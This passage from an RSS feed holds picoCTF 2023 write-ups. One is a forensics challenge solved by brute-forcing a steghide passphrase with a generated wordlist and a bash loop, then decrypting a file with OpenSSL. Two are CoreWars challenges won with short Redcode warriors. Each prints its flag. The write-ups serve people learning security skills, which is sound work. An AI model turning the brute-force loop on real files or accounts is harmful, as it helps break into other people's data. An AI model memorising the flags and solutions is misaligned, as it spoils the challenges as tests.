called four, which contains a file, called avidereader12.log</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*PAHcc6GQedbOXmQK3wqpzg.png" /></figure><p>Opening the folder it had some logs and conversation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*YEBWq78J68N8dk8JrBZ7OA.png" /></figure><p>[08:12] &lt;yone786&gt; Ok, let me give you the keys for the light.</p><p>[08:12] &lt;avidreader13&gt; I’m ready.</p><p>[08:15] &lt;yone786&gt; First it’s steghide.</p><p>[08:15] &lt;yone786&gt; Use password: akalibardzyratrundle</p><p>then</p><p>[08:19] &lt;avidreader13&gt; Damn! Ever heard of passphrases?</p><p>[08:19] &lt;yone786&gt; Don’t trust em. I seed my crypto keys with uuids.</p><p>[08:20] &lt;avidreader13&gt; Ok, I get it, you’re paranoid.</p><p>So we need to use steghide ovcourse on the image s we saw in gallery dir.</p><p>I have the passphrase (akalibardzyratrundle) maybe to extract the images using steghide as seen in the above logs file.</p><p>Wow I started thinking am at the top of this ha-ha which was wrong. I used the given passphrase to extract all images in the gallery directory,</p><p>I successfully extracted enc.txt files in all images except 7.bpm file which refused the passphrase</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*RTfD1cTmbKvRxsamRc0wqg.png" /></figure><p>The extracted files from the three images were</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*mPHIwUY8p0QtNY3pzlZuLA.png" /></figure><p>That gave me a feeling that 7.bmp had something to go after hence I started looking for the passphrase of 7.bmp</p><p>I manually looked for all files to get a passphrase but all was in vein as I could get any maybe hints</p><p><strong>Going back to .home/yone/maildir/curl there are files that looked like a conversation but I could not make sense of it</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*CekMJG_bhWzRYPvNp66ymw.png" /></figure><p>I now switched to <strong>.home/yone/maildir/new</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*uep3ZkLx-UFEOQMx9rdYaw.png" /></figure><p><strong>As you can see there may be deleted mails and so we need to look for what was deleted as it may contain something</strong></p><p><strong>/home/yone/notes</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*viO5f92LEImcEmAIw0U9rA.png" /></figure><p><strong>Contents of 1.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*_ZRFHP1HpXrezzlRjj7mvg.png" /></figure><p><strong>Contents of 2.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*zKp0TiXYhbO-NNPHPqOhLg.png" /></figure><p><strong>Contents of 3.txt</strong></p><p>Inside /home/yone/notes there was an interesting file called 3.txt which had a note that said, “I keep forgetting but it starts like yasouaatrox…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*fUNcarniJc2ORaHbtFch9Q.png" /></figure><p>To me it looked liked part of the passphrase to extract 7.bmp so we need to find the last characters but as of now we don’t have any idea on how to get it.</p><p>I now switched my hopes to deleted mails for any crew.</p><p>Now the best way to search for the deleted mails was to do a keyword search in autopsy where by I used a keyword (azerite17) since it was a username of azerite whose conversation may have been deleted and the word azerite and that that keyword appears in the mails between azerite</p><p>Note that azerite’s email was <a href="/service/mailto:azerite17@gmail.com">azerite17@gmail.com</a> so to get all his emails deleted or un deleted we have to search using that keyword.</p><p>And boom I got four results back after searching</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*nPKZr7-fS11Z2eW0p6KuXw.png" /></figure><p>Another deleted mail with the keyword azerite17 looked juicy as it had the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*yT28X7X6nJkXBw-dQwbzzw.png" /></figure><p>In that deleted mail there are interesting statements which includes advice to make good passwords like</p><p>“</p><p>“I’ve adopted this for my passwords, Azerite. For my most important password, I use it both for my ledger and for my user account on my machine, just so I remember it better without writing it down.”</p><p>“You asked me about good passwords. I have some advice on this topic as it relates greatly to our shared endeavor of spreading light. “</p><p>“&gt;&gt; I cannot recommend this philosophy of passwords highly enough: <a href="https://xkcd.com/936/">https://xkcd.com/936/</a> My only adaptation is that I use unique words from my favorite game, World of Warcraft.”</p><p>Let me visit that site to see if there is anything</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*johMcNul_mnEIrKgjS0Jlw.png" /></figure><p>From the image above the advice of creating a password is by adding four words from his favorite game war of craft .</p><p>I now recall the hint that was in yone/notes/3.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*fUNcarniJc2ORaHbtFch9Q.png" /></figure><p>From this hint at (<a href="https://xkcd.com/936/">https://xkcd.com/936/</a>) I can tell that the password is made up of four words from his favorite game war of craft but as of now I cant tell which game called war of craft, personally I looked for that game I didn’t find any sort of that game, but during my analysis I had landed on a file called leaugueoflegends.log under /3/home/yone/Irclogs/02/09/#leaugueoflegends.log</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*29pX4IPwr--OQ31ybuFA1Q.png" /></figure><p>Hence I concluded that the war of craft was a rabbit hole lmao……. hahah so I now started making research about league of legends to see how I can connect dots of the given password that starts with yassouaatrox…</p><p>On asking Google who are the champions of league of legends it brought aatrox as one of the champions hence confirming that the password was a combination of champions or player of league of legends.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*oe5yamRnnoLPtUZ3WalsdQ.png" /></figure><p>Now let me as Google whether it knows <strong>yasou</strong> as a champion in leaugue of legends since it is part of the given part of the password, (yasouaatrox… )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*BZTssS2Vgd-DuUwh-tC_ig.png" /></figure><p>As you can see we it is true yasou is another player in league of legends so which means according to picture we got from this link <a href="https://xkcd.com/936/">https://xkcd.com/936/</a> the password is a combination of four players in the favorite game in this case league of legends</p><p>So our task is to get the next two players to make full passwords</p><p>But I need to fact check that before I waste my time hence pilling on my chatgpt</p><h3><strong>The power of chat gpt</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*hcxU12e1iD2UQDlGsyYAqQ.png" /></figure><p>I asked it the players of that game</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*MET1BvAql90ehayHNDrCRA.png" /></figure><p>Very wise I have now the idea of the password that it is a combination of characters in league of legends so created a wordlist of all 150 players in the for possible last characters of the password since we know that the password is a combination of 4 players I first used chatgpt to confirm the combination of characters and then it helped me create a wordlist of all 150 players that my teammate created a script to brute force the possible last two characters to get the full password that I may use to extract a 7.bmp image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*ZHZhN9NHkARWisa4k5ARIA.png" /></figure><p>Next password char</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*NXX3Mxb3VK6aZoI9AO3eqQ.png" /></figure><p>luckily chatgpt created for me a wordlist of popular players names in the league of legends.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*3csjBKIetHYS0uot2TdF7A.png" /></figure><p>My teammate created a script that brute-forced the last two player names using the wordlist I generated.</p><pre>import requests<br>import json<br>import itertools<br><br>url = &quot;https://ddragon.leagueoflegends.com/cdn/13.5.1/data/en_US/champion.json&quot;<br><br># Send the GET request<br>response = requests.get(url)<br><br># Check if the request was successful<br>if response.status_code == 200:<br>    print(&quot;Request successful&quot;)<br>else:<br>    print(&quot;Request failed with status code:&quot;, response.status_code)<br>    exit()  # Exit the program if the request failed<br><br># Parse the response content as JSON<br>myjson = response.json()<br><br># Extract the keys from the &#39;data&#39; field in myjson<br>myjson_data = list(myjson[&quot;data&quot;].keys())<br><br>print(&quot;Number of champion keys:&quot;, len(myjson_data))<br><br># Open the file in write mode<br>with open(&#39;result.txt&#39;, &#39;w&#39;) as file:<br>    for combo in itertools.product(myjson_data, repeat=2):<br>        # Write each combination to the file<br>        file.write(f&quot;yasuoaatrox{combo[0].lower()}{combo[1].lower()}\n&quot;)<br><br># Print a success message<br>print(&quot;Combinations written to result.txt&quot;)<br></pre><p>results of the wordlist looked like this</p><pre>yasuoaatroxzyrafiora<br>yasuoaatroxzyrafizz<br>yasuoaatroxzyragalio<br>yasuoaatroxzyragangplank<br>yasuoaatroxzyragaren<br>yasuoaatroxzyragnar<br>yasuoaatroxzyragragas<br>yasuoaatroxzyraornn<br>yasuoaatroxzyrapantheon<br>yasuoaatroxzyrapoppy<br>yasuoaatroxzyrapyke<br>yasuoaatroxzyratalon<br>yasuoaatroxzyrataric<br>yasuoaatroxzyrateemo<br>yasuoaatroxzyrathresh<br>yasuoaatroxzyratristana<br>yasuoaatroxzyratrundle<br>yasuoaatroxzyratryndamere<br>yasuoaatroxzyratwistedfate<br>yasuoaatroxzyratwitch<br>yasuoaatroxzyraudyr<br>yasuoaatroxzyraurgot<br>yasuoaatroxzyravarus<br>yasuoaatroxzyravayne<br>yasuoaatroxzyraveigar<br><br>etc....</pre><p>we used this bash script to bruteforce the password using steghide</p><pre>#!/bin/bash<br><br>filename=&quot;vol4-3.home.yone.gallery.7.bmp&quot;<br>wordlist=&quot;result.txt&quot;<br><br>while IFS= read -r password; do<br>    steghide extract -sf &quot;$filename&quot; -p &quot;$password&quot; -xf output.txt<br>    exit_status=$?<br>    if [ $exit_status -eq 0 ]; then<br>        echo &quot;Password found: $password&quot;<br>        break<br>    fi<br>done &lt; &quot;$wordlist&quot;</pre><p>Results:</p><pre>steghide: could not extract any data with that passphrase!<br>steghide: could not extract any data with that passphrase!<br>steghide: could not extract any data with that passphrase!<br>steghide: could not extract any data with that passphrase!<br>steghide: could not extract any data with that passphrase!<br>steghide: could not extract any data with that passphrase!<br>steghide: could not extract any data with that passphrase!<br>steghide: could not extract any data with that passphrase!<br>steghide: could not extract any data with that passphrase!<br>wrote extracted data to &quot;output.txt&quot;.<br>Password found: yasuoaatroxashecassiopeia<br><br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*ttcOrXOKk1Jevezs_UgmBQ.png" /></figure><p>Well, after much trial we eventually got the full passphrase which is the combination of 4 league of legend after bruteforcing the last two players using the wordlist generated, yasuo, <strong>aatrox</strong>, <strong>ashe </strong>and <strong>cassiopeia</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*sgSoU9xwyDPijt5DH8HN3Q.png" /></figure><p>the last character</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*ViREWTDflLUutp4LN98rYw.png" /></figure><p>And hurray we have the password to extract 7.bmp. Putting them together, we got yasuoaatroxashecassiopeia. Now, lets try this passphrase for the 7.bmp file.</p><p>Remember the 7.bmp had refused the previous passphrase</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*NVyBdy5oeRek8xvMN70JCg.png" /></figure><p>Now let me use the brute forced passphrase that is a combination of league of legends champions’ yasuoaatroxashecassiopeia</p><p>I was happy that extracted the bmp and am now getting the flag little did I know I have a journey to go.</p><p>I successfully extracted ledger.1.txt.enc which is encoded and now I have to figure a way I can decode that to readable format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*4884rj47yhii6lW-1OLLKw.png" /></figure><p>Remember from this hint that says he uses that password advice for his ledger and now we have a file called ledger.1.enc.txt that we have extracted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*6zQHqHOrSgqnDMeqrYDb0g.png" /></figure><p>What encoding could be this file, I recall there was a browser history log file that had base_ratio encoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*JhL7yZAcycjZPMFgHpjGlg.png" /></figure><p>From the above history base ratio encoding was searched last hence probably the encoded file may have been decoded using base ratio encoding but lets confirm that by writing a script for that. I tried everything but couldn’t decrypt the file.</p><p>At this point I felt I had done everything and it was almost 4 hours on this, I almost gave up but I had one last though as a normal blue teamer. I was like why don’t I run sublime on the whole image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*jh-WVXDdPA6vttLqLB0ajQ.png" /></figure><p>There was some weird string of binary we had not seen before, in between the first and second notes. I instantly threw it into Cyber chef, only to get garbage back: No easy win there.</p><p>I used this script to get sense over those bits so as to decode it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*80JLOlx9GB1JFiDAcuxTLQ.png" /></figure><p>I used this code to decode whatever that has been encoded using a number system based on the golden ratio phi.</p><p>The <strong>phi_base_to_decimal()</strong> function converts a given bits in the phi base system to its decimal equivalent. The function first initializes the value of phi, which is the golden ratio, and then separates the given number into its integer and fractional parts (if any).</p><p><strong>Luckily I was able to extract the following from the bits</strong></p><p><strong>Salt=2350e88cbeaf16c9 –K a9f86b874bd927057a05408d274ee3a88a83ad972217b81fdc2bb8e8ca8736da -iv 908458e48fc8db1c5a46f18f0feb119f</strong></p><p><strong>From the I used the extracted key and salt to decode ledger.1.enc.txt, which was inside 7.bmp file</strong></p><p><strong>┌──(ug_pwn㉿kali)-[~/pico23/forensics/diskf] python3 decode.py</strong></p><p><strong>openssl enc -aes-256-cbc -d -in ledger.1.txt.enc -out out2.txt -salt -S 2350e88cbeaf16c9 –K a9f86b874bd927057a05408d274ee3a88a83ad972217b81fdc2bb8e8ca8736da -iv 908458e48fc8db1c5a46f18f0feb119f</strong></p><p>As you can see from the above bits we decoded openssl syntax</p><p><strong>┌──(ug_pwn㉿kali)-[~/pico23/forensics/diskf] └─$ openssl enc -aes-256-cbc -d -in ledger.1.txt.enc -out out2.txt -salt -S 2350e88cbeaf16c9 –K a9f86b874bd927057a05408d274ee3a88a83ad972217b81fdc2bb8e8ca8736da -iv 908458e48fc8db1c5a46f18f0feb119f</strong></p><p><strong>┌──(ug_pwn㉿kali)-[~/pico23/forensics/diskf] └─$ cat out2.txt avidreader13</strong></p><p><strong>PAID Les Mis, Dracula, Frankenstein, Swiss Family Robinson, Don Quixote, A Tale of Two Cities 513u7h PAID Don Quixote masterOfSp1n PAID Swiss Family Robinson, A Tale of Two Cities AwolCoyote PAID Les Mis, Dracula picoCTF UNPAID picoCTF{f473_53413d_aa476d14}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=471f9b7e570a" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/picoctf-2023-writeups-471f9b7e570a">PICOCTF 2023 WRITEUPS</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PICOCTF 2023 WRITEUPS]]></title>
            <link>https://medium.com/@khanzjoel55/picoctf-2023-writeups-2521309bf3c8?source=rss-2d4614f1cd07------2</link>
            <guid isPermaLink="false">https://medium.com/p/2521309bf3c8</guid>
            <category><![CDATA[picoctf-2023]]></category>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[Khanzjoel]]></dc:creator>
            <pubDate>Fri, 31 Mar 2023 12:57:05 GMT</pubDate>
            <atom:updated>2023-03-31T12:57:05.767Z</atom:updated>
            <content:encoded><![CDATA[<h3>Ready Gladiator 2</h3><h3>Overview</h3><ul><li>Overall difficulty for me (From 1–10 stars): ★★☆☆☆☆☆☆☆☆</li></ul><h3>Background</h3><p>Author: LT ‘syreal’ Jones</p><p>Your opponent is the Imp. The source is available <a href="https://artifacts.picoctf.net/c/284/imp.red">here</a>. If you wanted to pit the Imp against himself, you could download the Imp and run your own core wars server</p><p>Description</p><p>Can you make a CoreWars warrior that wins every single round? Your opponent is the Imp. The source is available <a href="https://artifacts.picoctf.net/c/279/imp.red">here</a>. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this: nc saturn.picoctf.net 56794 &lt; imp.red To get the flag, you must beat the Imp all 100 rounds.</p><h3>Find the flag</h3><p><strong>In this challenge, we can download a file and able to connect the instance machine via </strong><strong>nc:</strong></p><pre>┌[siunam♥earth]-(~/ctf/picoCTF-2023/Reverse-Engineering/Ready-Gladiator-2)-[2023.03.28|23:12:01(HKT)]<br>└&gt; cat imp.red                <br>;redcode<br>;name Imp Ex<br>;assert 1<br>mov 0, 1<br>end<br>┌[siunam♥earth]-(~/ctf/picoCTF-2023/Reverse-Engineering/Ready-Gladiator-2)-[2023.03.28|23:12:13(HKT)]<br>└&gt; nc saturn.picoctf.net 56794 &lt; imp.red<br>;redcode<br>;name Imp Ex<br>;assert 1<br>mov 0, 1<br>end<br>Submit your warrior: (enter &#39;end&#39; when done)</pre><pre>Warrior1:<br>;redcode<br>;name Imp Ex<br>;assert 1<br>mov 0, 1<br>end</pre><pre>Rounds: 100<br>Warrior 1 wins: 0<br>Warrior 2 wins: 0<br>Ties: 100<br>Try again. Your warrior (warrior 1) must win 100 times.</pre><p>In the previous challenge (Ready Gladiator 1), we’ve learned what is CoreWars and how it works.</p><p>In “Redcode” assembly language, there’s a JMP instruction, which jumps to a value.</p><p>Hmm… What if we <strong>control the target address of the “Imp” opponent </strong><strong>MOV instruction</strong> after it has been copied over?</p><p>That being said, <strong>can we use the </strong><strong>JMP instruction to jump back behind so that “Imp” can’t move forward, which will then kills the “Imp”??</strong></p><p><strong>Warrior:</strong></p><pre>;redcode<br>;name Imp Ex<br>;assert 1<br>jmp 0,&lt;-2<br>end</pre><p>The jmp 0,&lt;-2 is to jump to position behind -2.</p><pre>┌[siunam♥earth]-(~/ctf/picoCTF-2023/Reverse-Engineering/Ready-Gladiator-2)-[2023.03.28|23:13:24(HKT)]<br>└&gt; nc saturn.picoctf.net 56794 &lt; imp.red<br>;redcode<br>;name Imp Ex<br>;assert 1<br>jmp 0,&lt;-2<br>end<br>Submit your warrior: (enter &#39;end&#39; when done)</pre><pre>Warrior1:<br>;redcode<br>;name Imp Ex<br>;assert 1<br>jmp 0,&lt;-2<br>end</pre><pre>Rounds: 100<br>Warrior 1 wins: 100<br>Warrior 2 wins: 0<br>Ties: 0<br>You did it!<br>picoCTF{d3m0n_3xpung3r_fc41524e}</pre><p>Nice! We did it!</p><ul><li><strong>Flag: </strong><strong>picoCTF{d3m0n_3xpung3r_fc41524e}</strong></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2521309bf3c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PICO CTF 2023 WRITEUPS]]></title>
            <link>https://medium.com/@khanzjoel55/pico-ctf-2023-writeups-d2dbc3e91511?source=rss-2d4614f1cd07------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2dbc3e91511</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[picoctf-2023]]></category>
            <dc:creator><![CDATA[Khanzjoel]]></dc:creator>
            <pubDate>Fri, 31 Mar 2023 12:55:26 GMT</pubDate>
            <atom:updated>2023-03-31T12:55:26.786Z</atom:updated>
            <content:encoded><![CDATA[<h3>Ready Gladiator 1</h3><h3>Overview</h3><ul><li>Overall difficulty for me (From 1–10 stars): ★☆☆☆☆☆☆☆☆☆</li></ul><h3>Background</h3><p>Author: LT ‘syreal’ Jones</p><p>Your opponent is the Imp. The source is available <a href="https://artifacts.picoctf.net/c/408/imp.red">here</a>. If you wanted to pit the Imp against himself, you could download the Imp and run your own core wars server</p><p>Description</p><p>Can you make a CoreWars warrior that wins? Your opponent is the Imp. The source is available <a href="https://artifacts.picoctf.net/c/406/imp.red">here</a>. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this: nc saturn.picoctf.net 62467 &lt; imp.red To get the flag, you must beat the Imp at least once out of the many rounds.</p><h3>Find the flag</h3><p><strong>In this challenge, we can </strong><strong>nc to the instance machine:</strong></p><pre>┌[siunam♥earth]-(~/ctf/picoCTF-2023/Reverse-Engineering/Ready-Gladiator-1)-[2023.03.28|22:54:49(HKT)]<br>└&gt; nc saturn.picoctf.net 62467                   <br>Submit your warrior: (enter &#39;end&#39; when done)</pre><p>In here, we can submit our warrior.</p><p><strong>In this challenge, we can also download a file called </strong><strong>imp.red:</strong></p><pre>;redcode<br>;name Imp Ex<br>;assert 1<br>mov 0, 1<br>end</pre><p>Hmm… First off, <strong>what is “CoreWars”?</strong></p><p><strong>According to </strong><a href="https://www.corewars.org/"><strong>Core Wars</strong></a><strong> documentation:</strong></p><blockquote><strong><em>Core Wars</em></strong><em> is a </em>programming game<em> in which two or more programs run in a simulated computer with the goal of terminating every other program and surviving as long as possible. Known as </em>Warriors<em>, these programs are are written in an assembly language called </em>Redcode<em>.</em></blockquote><p>Ahh, so the imp.red is written is “Redcode” assembly language.</p><p><strong>Then, I found the “</strong><a href="https://www.corewars.org/docs/dummies.html"><strong>Core Wars for Dummies</strong></a><strong>” in the documentation page:</strong></p><p>Introduction:</p><p>This document will attempt to explain Core Wars in general, so that the first time player may gain an understanding of Corewars and can begin to write Redcode.</p><p>My introduction to Core Wars was through Scientific American. Articles there described a game played in a virtual computer. Competing programs attempted to “kill” each other.</p><p>The programs were written in a language called Redcode. At first glance Redcode appears hard to decipher, but with a little bit of knowledge the programs yield up an abundance of information. That knowledge is written here.</p><p>Let’s take a look at some basic concepts.</p><p>The Core:</p><p>The game of Core War is played in a virtual computer (called MARS &lt;1&gt;). While MARS can be any size, a common size is 8000 instructions. Programs are limited to a specific starting size, normally 100 instructions. Each program has a finite number of executions (turns, cycles), normally this number is 80,000. These parameters are the ones currently used by the 94 hill on the Pizza server. There can be any number of variations on other hills.</p><p>Instructions:</p><p>There are currently 17 instructions used in Redcode. This number has changed as the games has evolved. Each instruction has a three letter code (an example would the MOV for move.) They are listed below in no particular order.</p><pre>DAT data<br>MOV move<br>ADD add<br>SUB subtract<br>MUL multiply<br>DIV divide<br>MOD modula (remainder of division)<br>JMP jump<br>JMZ jump if zero<br>JMN jump if not zero<br>DJN decrement, jump if not zero<br>SPL split execution<br>SLT skip if less than<br>CMP compare (see SEQ)<br>SEQ skip if equal<br>SNE skip if not equal<br>NOP no operation</pre><p>Each instruction contains an “A” field and a “B” field. These fields tell MARS how to execute the instruction.</p><p>By example the MOV command simply tells the MARS to copy what is in the “A” field into the “B” field.</p><p>Chapter II</p><p>Bombing</p><p>In the previous chapter we learned the meaning of the 17 Opcodes. In this chapter we take a closer look at four of these instructions. These four are DAT, ADD, MOV, and JMP. To illustrate we will use a very simple program.</p><pre>;redcode-94<br>;name Sleepy<br>;author John Q. Smith<br>;strategy bombing core</pre><pre>ADD #10, #-1<br>MOV 2, @-1<br>JMP -2, 0<br>DAT #33, #33</pre><pre>end</pre><p>Let’s see what that “Sleepy” warrior does!</p><ul><li>The ;redcode-94 tells the MARS know that this program is compliant with the proposed 1994 standard for Core Wars.</li><li>The name (warrior) of this program is “Sleepy”.</li></ul><p>“Sleepy” attempts to destroy it’s opponents by dropping the “DAT #33, #33” instruction in their path of operation. A process which attempts to execute a “DAT” statement dies.</p><p>Now that we know what it does, let’s look at how it does it. The MOV command is really the cornerstone of this program. Without the move command the program has no punch. Let’s see how it works.</p><pre>MOV 2, @-1<br>Op A B</pre><p>First off, notice that the “A” field points to the DAT statement. You can tell this by counting two from the MOV line. This means that the MOV statement will be coping the information at this location (the “DAT #33, #33”).</p><p>The “B” field points to the line with the ADD statement in it. Ordinarily this would mean that the bomb would be copied on top of this statement, but the “@” symbol makes this an indirect pointer. In effect the “@” symbol says, use the “B” field I point to as a new location to point from. In this case the “B” field points to the location just before the ADD line (this location is not shown).</p><p>After the MOV statement is executed, the process goes to the next line. The JMP command indicates a location for the process to go to. Here the process jumps to the ADD command.</p><p>Now that we have bombed a location of core, we should change pointer to a new location so that we don’t keep bombing the same place over and over. The ADD command changes the pointer by adding the number “#10” to it. The symbol “#” means that this is an immediate addressing mode. Put simply, this means deal with what is right here to complete you task.</p><pre>ADD #10, #-1<br>Op A B</pre><p>The add command adds the “A” field to the “B” field. Here both fields are in immediate mode, so the operation takes place on one line. After executing this instruction once, it would look as follows.</p><pre>ADD #10, #9<br>Op A B</pre><p>Now when the MOV command drops a DAT bomb, it will land nine lines below the ADD statement.</p><pre>0 ADD #10, #9<br>1-&gt; MOV 2, @-1<br>2 JMP -2, 0<br>3 DAT #33, #33<br>4<br>5<br>6<br>7<br>8<br>9 DAT #33, #33</pre><p>Sleepy will continue to drop bombs into the core in ten line increments until the pointers rap around the core and return. At that point Sleepy begins to bomb over it’s own bombs, doing to until the end of time (80,000 cycles) or until acted upon by another program.</p><p>Armed with above information, we can try to <strong>win the “Imp” opponent via the “Sleepy” warrior!</strong></p><p><strong>But first, let’s try the non-modified one:</strong></p><pre>┌[siunam♥earth]-(~/ctf/picoCTF-2023/Reverse-Engineering/Ready-Gladiator-1)-[2023.03.28|23:05:08(HKT)]<br>└&gt; nc saturn.picoctf.net 62467 &lt; imp.red<br>;redcode<br>;name Imp Ex<br>;assert 1<br>mov 0, 1<br>end<br>Submit your warrior: (enter &#39;end&#39; when done)</pre><pre>Warrior1:<br>;redcode<br>;name Imp Ex<br>;assert 1<br>mov 0, 1<br>end</pre><pre>Rounds: 100<br>Warrior 1 wins: 0<br>Warrior 2 wins: 0<br>Ties: 100<br>Try again. Your warrior (warrior 1) must win at least once.</pre><p>As you can see, our warrior must win at least once.</p><p><strong>Let’s use our “Sleepy” warrior!</strong></p><pre>;redcode<br>;name Imp Ex<br>;assert 1<br>ADD #10, #-1<br>MOV 2, @-1<br>JMP -2, 0<br>DAT #33, #33<br>end</pre><pre>┌[siunam♥earth]-(~/ctf/picoCTF-2023/Reverse-Engineering/Ready-Gladiator-1)-[2023.03.28|23:05:10(HKT)]<br>└&gt; nc saturn.picoctf.net 62467 &lt; modified_imp.red <br>;redcode<br>;name Imp Ex<br>;assert 1<br>ADD #10, #-1<br>MOV 2, @-1<br>JMP -2, 0<br>DAT #33, #33<br>end<br>Submit your warrior: (enter &#39;end&#39; when done)</pre><pre>Warrior1:<br>;redcode<br>;name Imp Ex<br>;assert 1<br>ADD #10, #-1<br>MOV 2, @-1<br>JMP -2, 0<br>DAT #33, #33<br>end</pre><pre>Rounds: 100<br>Warrior 1 wins: 22<br>Warrior 2 wins: 0<br>Ties: 78<br>You did it!<br>picoCTF{1mp_1n_7h3_cr055h41r5_ec57a42e}</pre><p>Nice! We successfully drops tons of DAT bomb, and we win the game!</p><ul><li><strong>Flag: </strong><strong>picoCTF{1mp_1n_7h3_cr055h41r5_ec57a42e}</strong></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2dbc3e91511" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>